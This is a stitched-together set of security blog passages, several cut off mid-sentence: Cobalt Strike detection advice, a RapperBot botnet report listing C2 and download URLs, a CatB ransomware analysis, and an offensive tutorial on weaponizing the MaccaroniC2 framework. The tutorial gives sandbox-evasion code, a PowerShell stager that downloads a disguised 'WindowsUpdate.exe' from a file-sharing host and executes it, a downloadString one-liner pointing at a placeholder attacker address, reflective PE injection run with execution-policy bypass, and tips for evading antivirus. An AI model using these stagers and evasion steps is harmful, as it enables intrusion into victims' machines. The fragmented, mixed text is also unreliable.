Bypass User Account Control T1055 Process Injection T1055.012 Process Hollowing Defense Evasion T1140 Deobfuscate/Decode Files or Information T1112 Modify Registry T1027 Obfuscated Files or Information T1055 Process Injection T1055.002 Portable Executable Injection T1055.012 Process Hollowing T1127 Trusted Developer Utilities Proxy T1127.001 MSBuild T1497.001 System Checks T1218.005 Signed Binary Proxy Execution: Mshta Credential Access T1555 Credentials from Password Stores T1555.003 Credentials from Web Browsers T1539 Steal Web Session Cookie T1056 Input Capture T1056.001 Keylogging Discovery T1087 Account Discovery T1083 File and Directory Discovery T1518 Software Discovery T1518.001 Security Software Discovery T1082 System Information Discovery T1614 System Location Discovery T1033 System Owner/User Discovery T1124 System Time Discovery Collection T1123 Audio Capture T1115 Clipboard Data T1113 Screen Capture T1125 Video Capture Command and Control T1105 Ingress Tool Transfer T1090 Proxy Exfiltration T1041 Exfiltration Over C2 Channel Appendix C Zero Detection on VirusTotal


Cobalt Strike is a penetration testing tool created by Raphael Mudge in 2012.


To this day, it remains extremely popular in red team activities and used for malicious purposes by threat actors.


Cobalt Strike is popular due to its range of deployment options, ease of use, ability to avoid detection by security products, and the number of capabilities it has.


Since Cobalt Strike is widely used by a range of actors, its lack of exclusivity makes attribution harder.


Companies still struggle to detect Cobalt Strike also due to the various defensive techniques it has.


This blog explains Cobalt Strike and practical steps to take if you believe that you are being targeted by Cobalt Strike or already compromised.


We will demonstrate some real world examples of Cobalt Strike delivery and steps to detect each.


It is a popular platform that allows users to emulate advanced threats, perform reconnaissance, hide communications, escalate privileges, move laterally across the network, and deploy additional payloads.


The main payload of Cobalt Strike is called “Beacon.”


The Beacon payload is used to model advanced APT malware, and can do the following: Receive commands (either passively or from an interactive console) Egress communications over HTTP, HTTPS, and DNS Launch PowerShell Execute binaries Modify and query the Windows registry Inject malicious code into legitimate processes Log keystrokes Take screenshots Set up proxies Escalate privileges Bypass UAC Dump password hashes Scan ports among other abilities This tool is mainly used in red team operations for government agencies and private enterprises, but it’s also a popular tool leveraged by cybercrime and APT groups in cracked versions.


It is evident why Cobalt Strike is used by organizations and threat actors alike because of the extensive suite of capabilities it possesses, and also due to its ability to bypass defenses.


It also comes with the feature to generate reporting in which the attacking team or threat actor can continuously study and improve their campaigns.


Why is it difficult to detect Cobalt Strike? Cobalt Strike is difficult to detect because of its several defense techniques.


Cobalt Strike payloads are usually shellcode encrypted with a rolling XOR key.


This makes static analysis difficult to conduct.


This, combined with the ability to configure many parts of the payload, makes hash-based detection almost impossible.


Cobalt Strike stagers are designed to be loaded and executed only in-memory.


This opens up a ton of possibilities for how this shellcode is shipped, making signature-based detection on the delivery method a cat and mouse game.


Depending on how the code is delivered, the code can be injected into other legitimate running processes, bypassing defenses that do not scan legitimate processes or code in-memory.


How has Cobalt Strike been deployed?


This flexibility has helped attackers find many unconventional and creative ways to infect victims with a payload.


Let’s take a look at some real world examples of how Cobalt Strike is being used in the wild.


We will cover the following: Macro-Laden Microsoft Office files Supply Chain Attack Living off the Land (LotL) Executables (EXE) files Macro-Laden Microsoft Office Files An example of a Cobalt Strike payload being delivered to victims via Microsoft Excel spreadsheets demonstrates that this tool is also used in mass phishing campaigns, not just targeted APT attacks.


The attack starts by sending potential victims a Microsoft OneDrive link from which an Excel (.xls) file is downloaded.


OneDrive URLs sent to victimsUsing cloud storage links to deliver malicious files is a well-known strategy.


It leverages the good reputation of cloud provider domains such as Microsoft, Amazon, and Google to bypass domain reputation-based security controls.


This link delivers an Excel file pretending to be an Apple Store invoice requesting the target “enable content to view receipt.


How to Detect?


This can be difficult to detect, as there are multiple degrees of separation before the Cobalt Strike payload is executed.


Detection first requires dynamic analysis in order to reach the Cobalt Strike stage.


When it comes to static signatures, it can be difficult to isolate the exact area in-memory that you should run the signatures over.


One way this can be achieved is running the file through debugging tools and manually dumping memory to perform signature analysis.


This can be extremely time consuming and requires a high degree of technical knowledge.


Another possible way is to use a sandbox and download memory dumps from a finished analysis in order to run static analysis tools.


This requires slightly less technical knowledge but it still can be time consuming.


Among the deployed malware was a Cobalt Strike loader dubbed TEARDROP by FireEye.


The TEARDROP dropper is a memory-only DLL that runs as a service spawning a thread that pulls the Cobalt Strike payload from a fake JPG file.


The Raindrop variant is built from a modified version of 7-ZIP source code.


Once the encoded payload has been located, it extracts, decrypts, and decompresses the data to be executed as shellcode.


It can often be difficult to detect if your organization has been the victim of a supply chain attack.


It can be especially hard to collect forensic evidence for an attack when it could be mixed in with the code of legitimate and large files.


Due to the nature of supply chain attacks, there are often a large number of machines in an organization infected at one time.


An action you can take is to run Intezer’s live endpoint scanner across all machines in the organization.


This will give you immediate visibility over all running code and quickly identify infected machines by detecting any traces of malicious code found in-memory.


An example of a machine with Raindrop loading Cobalt Strike is shown in the endpoint scan below.


This is a powerful tactic as it can result in unauthorized code being executed within the memory space of a trusted process, evading malware defenses by flying under the radar.


One popular tool used for LotL operations is the Microsoft.


NET framework utility called MSBuild.


MSBuild is the build platform used for Microsoft and Visual Studio.


Visual Studio relies on MSBuild to build projects for testing and releases.


Attackers are able to pass MSBuild.exe, a project (.proj) file, to build and execute.


This attack is effective for attackers as many sandboxing solutions are not able to handle project files and struggle with fileless malware.


This technique was observed by Cisco Talos researchers in 2020 to deploy Cobalt Strike.


Project file codeAs shown above, the project file has an encoded and compressed payload.


The shellcode is then executed in a new thread.


”Intezer Analyze endpoint scan of a Cobalt Strike-infected system via LotL technique Executables (EXE) Files There is an acronym in the United States Armed Forces called “KISS.”


KISS stands for “Keep it simple, stupid!”


This requires either social engineering tactics to get the target to execute the malware or another program/script to execute the file.


Once the shellcode is written to the named pipe, it is decrypted and executed in a separate thread.


Notice how the Cobalt Strike code is only shown when it is executed and found in-memory.


Cobalt Strike found via memory analysis How can Cobalt Strike be detected and remediated?


Due to the many ways Cobalt Strike is deployed, detection can be hard.


The use of shellcode, encoding, compression, obfuscated strings, process injection, hashing algorithms, domain fronting, different communication channels, and dynamically loaded libraries all give malware and network defenses a run for their money.


Static analysis can involve hashing the file and finding intel on it, taking a look at the strings to see if there are functionality or network indicators, or checking imports and running signatures such as YARA for the file.


Although useful, static analysis on its own is probably not sufficient to detect Cobalt Strike.


It is trivial to generate a new payload for each new target.


Checking strings may be insufficient also.


Encrypted payloads will also obfuscate useful strings from static analysis.


API Hashing algorithms employed by Cobalt Strike hide imports from static analysis techniques.


Without dynamic analysis, they won’t be able to detect exactly what that payload will be.


Dynamic analysis can open up new areas to explore as one can follow the malware through each stage of its deployment and functionality.


Dynamic analysis can get the malware to unpack, decode, or download additional stages.


These new stages are then subject to further dynamic analysis as well as the previously mentioned static analysis techniques.


Dynamic analysis does not have many limitations, although some malware includes functionality to detect if it is being observed or running inside a sandboxed environment.


There is also the possibility that during dynamic analysis, areas of malicious code may not be intentionally executed, and thus not detected in the behavior.


The best way to detect malicious code is via genetic code analysis which is done automatically for you in Intezer Analyze. Combination of Several Techniques The best way to detect Cobalt Strike code is through a combination of dynamic, static, and genetic analysis.


Before opening the document, we submit it to Intezer Analyze and get the verdict, as shown below.


Intezer Analyze result showing in-memory Cobalt Strike codeThe document drops and executes Cobalt Strike in the memory space of “rundll32.exe.”


TTPs section showing capabilities detected during executionThe document displays interesting techniques such as macros with auto-execution, network activity with a unique user agent, office process starting martian subprocess, and process injection.


The “IoCs” tab in Intezer Analyze shows indicators that can help you pivot and search in your environment during investigations to map out the scope of an attack.


Behavior tab showing observed behavior during sandbox execution The Only Abused Pen Testing Tool? Cobalt Strike is not the only penetration testing or legitimate tool that has been co-opted and abused by threat actors.


The “Sysinternals” suite has been used extensively by threat actors.


Most notably, PsExec has been used in high-profile attacks such as the 2017 NotPetya global ransomware outbreak.


More recently, legitimate and penetration testing tools for the cloud have been used by threat actors.


The threat actor TeamTNT has used Weave Scope, a trusted tool which gives the user full access to their cloud environment, and is integrated with Docker, Kubernetes, the Distributed Cloud Operating System (DC/OS), and AWS Elastic Compute Cloud (EC2).


The attacker installs this tool in order to map the cloud environment of their victim and execute system commands without needing to deploy malicious code on the server.


The same group has also been documented using the penetration testing tool Break Out The Box (BOTB) for cloud and containerized environments.


Get Started for Free With Intezer Analyze, you can analyze any suspicious files that you encounter, including non-executable files such as Microsoft Office documents, scripts, archives, and more.


Stay on top of analyzing and classifying Cobalt Strike and other threats.


Get started for free and start with 50 file uploads per month.


The post How to Detect Cobalt Strike appeared first on Intezer.


After FortiGuard Labs reported on RapperBot in our previous article titled So RapperBot, What Ya Bruting For? in August 2022, there was a significant drop in the number of samples collected in the wild.

New RapperBot Campaign  We Know What You Bruting for this Time


But in early October 2022, new samples with the same distinctive C2 protocol used by RapperBot were detected.


Unlike the murky objectives of the previous campaign, it is quickly evident that these samples are part of a separate campaign to launch Distributed Denial of Service (DDoS) attacks against game servers, which we believe to be a re-emergence of a similar campaign from earlier this year.


RapperBot Rebooted FortiGuard Labs encountered this campaign by hunting for samples using the unique bot ID used by RapperBot to communicate with its Command-and-Control (C2) server, as reported in the previous article.


Other related campaigns uncovered during this investigation are detailed later in this article.


Network Protocol and Denial-of-Service (DoS)


Attacks The C2 network protocol used in previous campaigns remains essentially unchanged, with additional commands added to support the Telnet brute force.


The list of commands and IDs are shown below: 0x00: Register (used by the client)


This campaign adds DoS attacks against the GRE protocol (likely reusing the Mirai source code) and the UDP protocol used by the Grand Theft Auto: San Andreas Multi Player (SA:MP) mod.


Multi Player (SA:MP) 0x05: GRE Ethernet flood 0x06: GRE IP flood 0x07: Generic TCP flood These specific commands, coupled with the absence of HTTP-related DDoS attacks, suggests that this campaign is primarily geared toward game server DDoS. Telnet Self-propagation The most significant difference in the new campaign was the complete replacement of the SSH brute forcing code with the more usual Telnet equivalent.


FortiGuard Labs has observed similar drastic modifications within RapperBot samples, as detailed in our previous report, adding and removing even DoS attack code on an apparent whim.


The Telnet brute forcing code is designed primarily for self-propagation and resembles the old Mirai Satori botnet.


Unlike the earlier SSH brute-forcing campaign, the plaintext credentials are embedded into the malware instead of being downloaded from the C2.


These credentials used appear to be default credentials for IoT devices.


To optimize brute forcing efforts, the malware compares the server prompt upon connection to a hardcoded list of strings to identify the possible device and then only tries the known credentials for that device.


Unlike less sophisticated IoT malware, this allows the malware to avoid trying to test a full list of credentials.


While not exactly a novel technique, it is still uncommon compared to other IoT botnets.


Based on the prompt messages hardcoded into the malware, most of the targeted devices are IoT devices such as routers and DVRs.


This campaign seems especially interested in older devices with the Qualcomm MDM9625 chipset, such as LTE modems.


It attempts to specifically gain root access to these devices via a default password, despite having the same credentials in the list embedded in the binary.


After reporting, the malware attempts to install its main payload binary on the compromised device.


It first parses the Executable and Linkable Format (ELF) header of the /bin/busybox file for the e_machine field, which provides the architecture of the compromised device.


This allows it to download and deploy a RapperBot payload of the correct architecture to ensure proper execution.


This selective behavior is more efficient than the shotgun approach in most IoT malware families, whereby all the binaries for the supported architectures are downloaded and executed in the victim's system.


Based on the payload binaries we collected, this botnet currently seems to only target devices running on ARM, MIPS, PowerPC, SH4, and SPARC architectures.


Unlike in Satori, these embedded downloaders are stored as escaped byte strings, probably to simplify parsing and processing within the code.


The binary downloaders are written by echoing the bytes and piping the content to a file in the victim system.


No attempts to persist on infected or brute-forced devices were observed for this campaign.


We observed that the earliest samples for this campaign were from December 2021 and that the SA:MP attack was only added in February 2022.


This campaign mysteriously disappeared in mid-April 2022, resurfacing in Oct 2022 with the addition of the self-propagation feature.


These samples contain slightly fewer credentials and a simpler self-propagation code that only supports downloading the payload via wget or the binary downloader embedded directly into the sample.


This campaign did not support stopping or restarting the Telnet propagation, and while the samples support the same commands, their associated IDs did not match.


Connections to RapperBot The fact that samples from both campaigns use the same C2 protocol, coupled with the absence of this campaign during the RapperBot campaign active between June and Aug 2022 and its recent reappearance, seems to be more than a coincidence.


The C2 commands and corresponding IDs are identical in both campaigns (excluding the Telnet-related commands, as those do not apply to RapperBot) Both campaigns show a certain degree of effort in optimizing the brute forcing implementation.


Code for the brute forcing implementation is significantly more structured than typical IoT malware that copies and pastes code with minimal modifications.


RapperBot also supported the TCP STOMP attack popularized by Mirai.


This attack was not observed in the earlier campaigns mentioned above.


However, as both Mirai and Satori source code are publicly available, this is considered a very weak link between the campaigns.


If both campaigns were related, the reason for restarting an older campaign remains a mystery.


Conclusion Based on the undeniable similarities between this new campaign and the previously reported RapperBot campaign, it is highly likely that they are being operated by a single threat actor or by different threat actors with access to a privately-shared base source code.


Unlike the previous RapperBot campaign, this new campaign has a clear motivation to compromise as many IoT devices as possible to build a DDoS botnet.


Although this new campaign has evolved significantly from previous campaigns, mitigating it remains the same—setting strong passwords for all devices connected to the internet.


The FortiGuard AntiVirus service is supported by FortiGate, FortiMail, FortiClient, and FortiEDR, and the Fortinet AntiVirus engine is a part of each of those solutions.


FortiGuard Labs provides the Rapper.


Botnet IPS signature against RapperBot C2 activity.


The FortiGuard Web Filtering Service blocks the C2 servers and download URLs.


FortiGuard IP Reputation and Anti-Botnet Security Service proactively block these attacks by aggregating malicious source IP data from the Fortinet distributed network of threat sensors, CERTs, MITRE, cooperative competitors, and other global sources that collaborate to provide up-to-date threat intelligence about hostile sources.


IOCs Files 3d5c5d9e792e0a5f3648438b7510b284f924ab433f08d558b6e082e1d5414a03 7afcac5f71e9205879e0e476d3388898a62e7aa4a3e4a059884f40ea36cfd57f 8ec79a35700f6691f0d88d53647e9f2b75648710ecd119e55815331fc3bdd0b5 a12ad4bc394d60bc037271e1c2df1bd2b87bdaaba85f6c1b7d046341f027cc2d f000bf482040b48595badee1fc56afb95449ac48b5dc35fe3a05542cbf18f658 4aa9175c1846557107ec197ea73d4cc8dbe6d575a8fd86ae214ff9b3a00e438b f98261eb7dc122449c158118cc9c660683206983a9e90ff73eb88c4705e0c48e Download URLs hxxp://185[.]216[.]71[.]149/armv4l hxxp://185[.]216[.]71[.]149/armv5l hxxp://185[.]216[.]71[.]149/armv6l hxxp://185[.]216[.]71[.]149/armv7l hxxp://185[.]216[.]71[.]149/mips hxxp://185[.]216[.]71[.]149/mipsel hxxp://185[.]216[.]71[.]149/powerpc hxxp://185[.]216[.]71[.]149/sparc hxxp://185[.]216[.]71[.]149/sh4 hxxp://185[.]216[.]71[.]149/bot_arm4_el hxxp://185[.]216[.]71[.]149/bot_arm5_el hxxp://185[.]216[.]71[.]149/bot_arm6_el hxxp://185[.]216[.]71[.]149/bot_arm7_el hxxp://185[.]216[.]71[.]149/bot_mips_eb hxxp://185[.]216[.]71[.]149/bot_mips_el hxxp://185[.]216[.]71[.]149/bot_sh_el C2 185[.]216[.]71[.]149 Learn more about Fortinet’s FortiGuard Labs threat research and global intelligence organization and Fortinet’s FortiGuard AI-powered Security Services portfolio.


Sign up to receive our threat research blogs.


2 0 DISCLAIMER – This article is provided for educational and informational purposes only.

Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1


The usage of these techniques should strictly adhere to applicable laws, regulations, and ethical guidelines.


The author and publisher of this article shall not be held responsible for any misuse or illegal activities conducted by individuals or entities based on the information provided.


It is advisable to review and comply with the terms of use of any platform or service to avoid potential account bans or disruptions.


Introduction Embark on a journey into the intricate world of cyber attacks as we unravel paths taken by adversaries from malware creation to data exfiltration.


In this comprehensive exploration, we delve into the stages that comprise the attack lifecycle, analyzing the process from infecting to exfiltration, with a particular focus on weaponization.


Presenting MaccaroniC2 In this article, we’ll explore MaccaroniC2 ( https://github.com/CalfCrusher/MaccaroniC2 ), a proof-of-concept Command & Control framework that leverages the versatile features of the AsyncSSH Python library ( https://asyncssh.readthedocs.io ) with the integration of PyNgrok, a wrapper for Ngrok ( https://ngrok.com ).


This tool is designed to address a specific scenario where the victim operates an AsyncSSH server and establishes an external tunnel, eagerly awaiting commands from the attacker.


Some key features of the AsyncSSH library include: Asynchronous Execution: AsyncSSH is built with asynchronous programming in mind, allowing you to perform SSH operations concurrently without blocking the execution flow.


SSH Protocol Support: It provides support for various SSH protocol versions, including SSH1, SSH2, and the ability to negotiate and handle different encryption and authentication methods.


Event-driven API:


In a hardened network environment scenario, establishing a connection to an Ngrok server can be easily detected by EDR (Endpoint Detection and Response) systems and other tools designed to monitor network traffic.


Check the project: https://github.com/CalfCrusher/MaccaroniC2 Weaponizing malware: MaccaroniC2 with steroids In real-world scenarios, it is essential to embrace the mindset of a determined threat actor striving to enhance the effectiveness of their malware while maintaining covert operations.


With this objective in mind, we will delve into custom modifications to the server side of MaccaroniC2, uncovering fundamental concepts that enable us to effectively weaponize our tool for diverse real-world scenarios.


Virtualization/Sandbox Evasion are those techniques utilized by adversaries as a part of their defense evasion strategy to detect and avoid virtualization and analysis environments, such as malware analysis sandboxes.


Sandbox evasion is indeed a complex and evolving field.


While it’s not possible to cover all aspects of sandbox evasion in just a few lines of Python code, we’ll see some general basic techniques and concepts that can be used to try to recognize a sandbox or a virtual environment:


This code essentially checks if certain processes that are commonly associated with sandbox environments or virtual machines are running.


This information can be helpful in determining whether the code is running in a protected or controlled environment rather than on a regular user’s machine.


# Technique 3: Check if running in a sandboxed network environment sandboxed_networks =


", "192.168.44.


", "172.16.0.


", "172.16.1.", "172.16.2.", "172.16.3.", "172.16.4.


", "172.16.5.", "172.16.6.", "172.16.7.", "172.16.8.", "172.16.9.", "172.16.10.", "172.16.11.", "172.16.12.", "172.16.13.", "172.16.14.", "172.16.15."] local_ip = socket.gethostbyname(socket.gethostname())


Here we can see how this code comparing the local IP address with a predefined list of network addresses typically associated with sandboxed environments.


Here we can see another piece of code that checks for virtualization by examining the CPU features.


It uses the cpuinfo Python module to retrieve information about the CPU.


The code defines a list of virtualized CPU features and then checks if any of these features are present in the CPU information’s “flags” field.


If any feature is found, the code returns True, indicating the presence of virtualization.


# Technique 5: Check if disk size is greater than 50 GB min_disk_size_gb = 50 if len(sys.argv) >


1: min_disk_size_gb = float(sys.argv[1]) _, disk_size_bytes, _ = win32api.


GetDiskFreeSpaceEx() disk_size_gb = disk_size_bytes / 1073741824


if disk_size_gb > min_disk_size_gb: return False # Proceed else: return True # Not Proceed This code checks if the disk size is greater than a specified threshold (50 GB as example).


It uses the win32api.


GetDiskFreeSpaceEx() function to retrieve the disk size in bytes.


It converts the size to gigabytes by dividing it by 1073741824 (the number of bytes in a gigabyte).


After comparing the disk size in gigabytes to the specified min_disk_size_gb, if the disk size is greater, the code returns False.


However, if the disk size falls below the minimum threshold, it returns True, signaling that the script should stop from proceeding further because we assume that we’re inside a VM environment or a sandbox.


It should be noted that these techniques are basic examples and represent fundamental practices in the field of malware development and sandbox detection.


Let’s go further.


In MaccaroniC2 original tool, the SSH Pub Key is hardcoded.


In this case we choose to host it online for multiple reasons: Usually, attackers employs techniques by leveraging third-party services such pastebin.com and similars, to store piece of code or stagers.


This method of operation, widely utilized by advanced threat actors, is a classic within the realm of Advanced Persistent Threats (APTs).


By employing multiple layers of staging, the attacker artfully conceals the true nature of the malware, placing it several steps removed from the initial infection.


def get_pub_key(): """Get SSH pub key from third party service""" try: global PRIVATE_KEY global AUTHORIZED_KEY url = "https://pastebin.com/raw/XXXXXXX" r = requests.get(url) if r.status_code == 200: pub_key


Error: Could not get SSH pub key')


As we can see, in this approach we take a different path by avoiding the hardcoding of the pub_key and instead harnessing the advantages provided by services such as pastebin.com, transfersh.com or similar services.


It offers flexibility in determining the number of allowed downloads and the duration for which files will be stored.


Additionally, some of these platforms even allow for modifying the content of generated URI, enhancing the adaptability and control over the shared resources.


By embracing this approach, we could have the capability to generate fresh RSA key pairs, empowering our tool to download a different key in the subsequent system reboot.


This becomes particularly valuable when pursuing persistence objectives.


They allow us to detect specific events or actions with an extensive range of options to create decoy assets, each designed to provide valuable intelligence and real-time notifications: from email alerts to webhook integrations and many other features for monitoring and security needs.


For further information check official site: https://canarytokens.org/generate


In our case, we could configure the script to perform a designated action if the URI is no longer accessible, such as notifying us if the file has been removed.


When the script fails to download the id_rsa.pub key, it triggers a canary token, which generates a signal after encountering a 404 error status code.


Dynamic and crypted AUTH Ngrok Token


In MaccaroniC2 original tool, the Ngrok Auth Token is hardcoded also.


In this scenario, we’ll apply a similar approach as before, but with a slight twist: we want to avoid publicly uploading our token in plain text.


To achieve this, we’ll encrypt the token and upload it to a file-sharing service like transfersh.com The script will download and decrypt the string that represents the token.


This decryption process utilizes the Fernet algorithm, ensuring the secure retrieval and utilization of the token.


Fernet is a symmetric encryption algorithm and token format used for secure communication and data protection.


It is a part of the cryptography library in Python called “cryptography.”


It utilizes symmetric key cryptography, where the same secret key is used for both encryption and decryption.


It ensures confidentiality and integrity of data by combining encryption with a message authentication code (MAC).


The Fernet token format includes the encrypted data and a timestamp to prevent tampering.


crypted_data = r.text.strip('\n') return fernet_decrypt(crypted_data, password_for_decrypt) elif r.status_code == 404:


Error: Could not get AUTH Token')


The provided code includes two functions: fernet_decrypt and get_auth_token.


The fernet_decrypt function decrypts an encrypted string representing the Ngrok AUTH Token using a harcoded password.


It returns the decrypted message as a decoded string.


The get_auth_token function retrieves the AUTH Token from a third-party service, in this example pastebin.


If the response is successful, it use the harcoded password for decryption using the fernet_decrypt function, and returns the decrypted AUTH Token.


If the response status code is 404, we can say attack is concluded and we could insert a potential a canary token for notification purposes .


It’s designed to convert Python code into highly optimized C/C++ code, which is then compiled into native machine code.


The resulting executable can be distributed and executed without requiring the Python interpreter to be installed on the target system.


When it comes to compiling malware, Nuitka offers some potential advantages over other Python compilers such as PyInstaller or Py2exe:


This can be advantageous for malware authors who want their malicious code to execute more efficiently and quickly.


Code Protection:


Nuitka Compiler employs various optimization techniques and obfuscation mechanisms during the compilation process.


This can make the resulting executable more challenging to reverse-engineer and analyze, adding an extra layer of protection for the malware.


Detection Evasion:


As Nuitka Compiler generates native machine code, it can potentially evade certain signature-based detection methods used by security tools that primarily focus on detecting interpreted Python scripts.


This may offer a limited advantage in evading detection by some antivirus or security solutions.


python -m pip install nuitka python


-m nuitka --standalone --onefile maccaronic2_server.py Our newly generate PE file is ready to go.


This will allow us to evaluate the effectiveness of our malware in evading the defensive measures implemented by Windows Defender.


Nice !


In the absence of advanced evasion techniques such as binders, packers, and crypters, our ‘malware’ effectively bypasses Windows Defender without relying on complex obfuscation methods.


Let’s try on VirusTotal Not bad !


While some vendors were able to spot the malware itself, they seemed to focus on detecting the use of the Nuitka compiler.


However, it is crucial to remember that this approach requires a deep understanding of both malware detection techniques employed by antiviruses.


It should be noted anyway in the world of real malware development, seasoned and skilled adversaries often turn to programming languages such as C and C++ to craft their malicious creations at a lower level.


These languages allow direct memory manipulation, access to system APIs, and the ability to write efficient and optimized code.


Windows Shortcut (LNK) “Weaponize” is a term that refers to the first phase of the kill chain and it is categorized as the Build Capabilities technique under Resource Development tactic of the MITRE ATT&CK framework.


The goal is to create and deliver the first payload to the target according to the environment.


These files have been used as an attack vector as early as 2013.


For example, the APT group Gamaredon has put LNK files to work, including a campaign that started in August 2022 against organizations in Ukraine.


WebClient).downloadString('http://IP:PORT/malicious.ps1')" The .ps1 file could be a simple stager download of an .exe file and its execution.


This is a clever technique that has been used for years, including in the Stuxnet attacks that were first uncovered in 2010.


It’s an effective technique because it exploits a fundamental feature of Windows, which is to automatically launch executables using the metadata stored in the LNK file.


The .ps1 file can also be a complex script that can also achieve persistence with more functionalities.


In this case, the PowerShell one-liner will find, decrypt, and execute code appended to the original file.


Lastly, this will run a series of “stagers” with the object to delivery the final malware inside the victim’s computer.


One Shot, One Kill – Upload PE File Before start coding the .ps1 stager, we need to upload the PE file build early, using transfersh.com: curl -H "Max-Downloads: 1" -H "Max-Days: 5" --upload-file ./final_server.exe


https://transfersh.com/WindowsUpdate Output: https://transfersh.com/XXXXXXXX/WindowsUpdate After one download the file will be deleted and link will returns a 404 error.


Powershell Stager / Dropper $down = New-Object System.


WebClient $url = 'https://transfersh.com/ZZZZZZZ/WindowsUpdate' $file =


[System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'WindowsUpdate.exe') $down.


DownloadFile($url, $file) $exec = New-Object -ComObject shell.application $exec.


This is a simple PowerShell script that downloads a file from a fixed location and executes it.


The WebClient class provides common methods for sending data to and receiving data from a resource identified by a URI.


$url = 'https://transfersh.com/ZZZZZZZ/WindowsUpdate' This line sets the value of the $url variable to the URL of the file to be downloaded.


[System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'WindowsUpdate.exe')


This line uses the Combine method of the Path class to combine the temporary folder path (retrieved using the GetTempPath method) with the file name ‘WindowsUpdate.exe’.


The resulting path is assigned to the $file variable. $down.


DownloadFile($url, $file)


This line uses the DownloadFile method of the WebClient object to download the file from the specified URL and save it to the specified local file path.


Application COM object and assigns it to the $exec variable.


The Shell.


Application object provides methods for working with the Windows shell.


$exec.


This line uses the ShellExecute method of the Shell.


Application object to execute the downloaded file.


But we want more.


It’s important to note that we have previously configured the Max-Download parameter to a one-shot only download.


In addition to the previous modifications, we now aim to keep track of every attempt to execute our stager after the initial compromise: whenever a 404 error is detected, indicating that the file is no longer available on the server, we’ll request a URL using canarytokens.org As said early this serves as a signal to log the event and provides valuable information for monitoring and analysis purposes.


Powershell Stager with trigger $down = New-Object System.


[System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'WindowsUpdate.exe') $request =


[System.Net.WebRequest]::Create($url) $request.


Method = 'HEAD' $response = $null try { $response = $request.


ShellExecute($file) } } catch [System.


WebException] { $statusCode =


StatusCode if ($statusCode -eq 404) { # File not found, make a GET request to a fixed URI generated on canarytokens.org $fixedUrl = 'http://canarytokens.com/feedback/about/XXXXXXXXXX/submit.aspx' $response = $down.DownloadString($fixedUrl) } else { throw } } By implementing a smart error handling mechanism we can enhance our system’s monitoring capabilities: upon receiving a 404 response from a specific URL, we can trigger a subsequent GET request to a fixed URI generated on canarytokens.org.


This script will not trigger AMSI (Antimalware Scan Interface), providing an advantage in evading detection.


h .\download-execute_full.ps1 -o obfuscated_stager.ps1


By incorporating obfuscation techniques our script becomes a little bit more challenging to analyze.


It should be noted that this entire procedure will leave traces on filesystem.


The PE file is downloaded on filesystem and than executed.


To enhance operational security, we can employ a clever alternative approach that eliminates the need to download files directly onto the victim’s computer: PE reflective injection.


Reflective PE injection Reflective PE injection is a technique used by malware or advanced attackers to inject a Portable Executable (PE) file directly into the memory of a running process without the need for writing the file to disk.


Unlike traditional injection methods, which involve loading an external DLL or injecting code into the target process, reflective PE injection allows the malware to load and execute its code directly from memory.


The term “reflective” refers to the ability of the injected code to reflect upon itself and perform necessary operations to execute within the process’s memory space.


This technique is often employed to bypass security mechanisms that monitor or block external DLL loading or code injection.


In reflective PE injection, the PE file is parsed and its sections are reconstructed in the target process’s memory.


The necessary data structures, such as headers and import tables, are reconstructed as well.


By doing so, the injected code can appear as a legitimate part of the process, making it more difficult to detect and analyze.


Once the PE file is injected and reconstructed in memory, the execution flow can be redirected to the injected code, enabling the malware to operate within the context of the compromised process.


This technique provides several advantages to attackers, including stealthiness, persistence, and the ability to leverage the privileges and resources of the compromised process.


PowerSploit does provide a module called “Invoke-ReflectivePEInjection” that facilitates reflective PE injection using PowerShell.


This module allows the injection of a PE file into a remote or local process’s memory without writing it to disk, but being a well-known and widely-used tool, it has gained significant attention from security vendors and technologies, including the Antimalware Scan Interface (AMSI).


As a result, AMSI has become increasingly adept at detecting and flagging the usage of PowerSploit’s modules and techniques and other famous tools.


Powershell Stager with Invoke-ReflectivePEInjection (New-Object System.


WebClient $PEBytes = $webClient.DownloadData($remoteUrl) Invoke-ReflectivePEInjection -PEBytes $PEBytes We can host this script somewhere and then run as usually in a fancy oneliner like: powershell -nop


-exec bypass -c "(New-Object System.


In this way, we can directly run the executable in the memory of a running process without the need to write the file to disk.


We will also explore cutting-edge countermeasures to enhance our offensive capabilities.


Exploring advanced exfiltration techniques, enabling the covert transfer of sensitive data from target environments.


Spawning new Command and Control (C2) agents, expanding our reach and maintaining resilient communication channels.


Hijack Execution Flow: the art of DLL Side-Loading ! Thank you for reading!


References Happy 0 0 % Sad 0 0 % Excited 1 100 % Sleepy 0 0 %


The CatB ransomware family, sometimes referred to as CatB99 or Baxtoy, was first observed in late 2022, with campaigns being observed steadily since November.

CatB Ransomware  File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking


The group’s activities have gained attention due to their ongoing use of DLL hijacking via Microsoft Distributed Transaction Coordinator (MSDTC) to extract and launch ransomware payloads.


String similarities in the ransom notes as well as modifications left by the ransomware payloads suggest that CatB may be either an evolution or direct rebrand of the Pandora ransomware, which was active in early to mid-2022 and targeted the automotive industry.


In this post, we offer a technical analysis of the CatB ransomware and its abuse of the legitimate MSDTC service, describing its evasion tactics, encryption behavior, and its attempts to steal credentials and browser data.


CatB Ransomware Technical Information CatB payloads are distributed as a two DLL set.


A dropper DLL is responsible for initial evasive environmental checks as well as dropping and launching the second DLL, which serves the ransomware payload.


CatB Ransomware Process Graph First, the dropper is distributed in the form of a UPX-packed DLL (versions.dll).


This dropper deposits the second DLL payload (oci.dll) onto the target host.


The dropper DLL is responsible for any sandbox evasion techniques required by the threat actor.


Sandbox evasion inhibits the analysis process and ultimately leads to more time in the target environment for the attacker.


CatB performs three primary checks in an attempt to determine if the payload is being executed within a virtual environment.


Upon execution, CatB payloads rely on DLL search order hijacking to drop and load the malicious payload.


Oci.dll payloads in System32 (view from Singularity Console)


The malware then abuses the MSDTC service, manipulating the permissions and startup parameters.


Taskill.exe is used to terminate the msdtc.exe process once the service configuration changes have been made.


Msdtc.exe termination syntax CatB ransomware excludes the following files and extensions from the encryption process: .msi, .dll, .sys, .iso and NTUSER.DAT.


By default, the oci.dll payload will attempt to encrypt C:\users (crawl whole tree), I:, H:, G:, F:, E:, and D:.


Local encryption targets in oci.dll The lack of post-encryption alterations is a trait that sets CatB apart from other contemporaries.


Per the ransom note, the only way to engage the threat actor is via email at the provided catB9991 protonmail address.


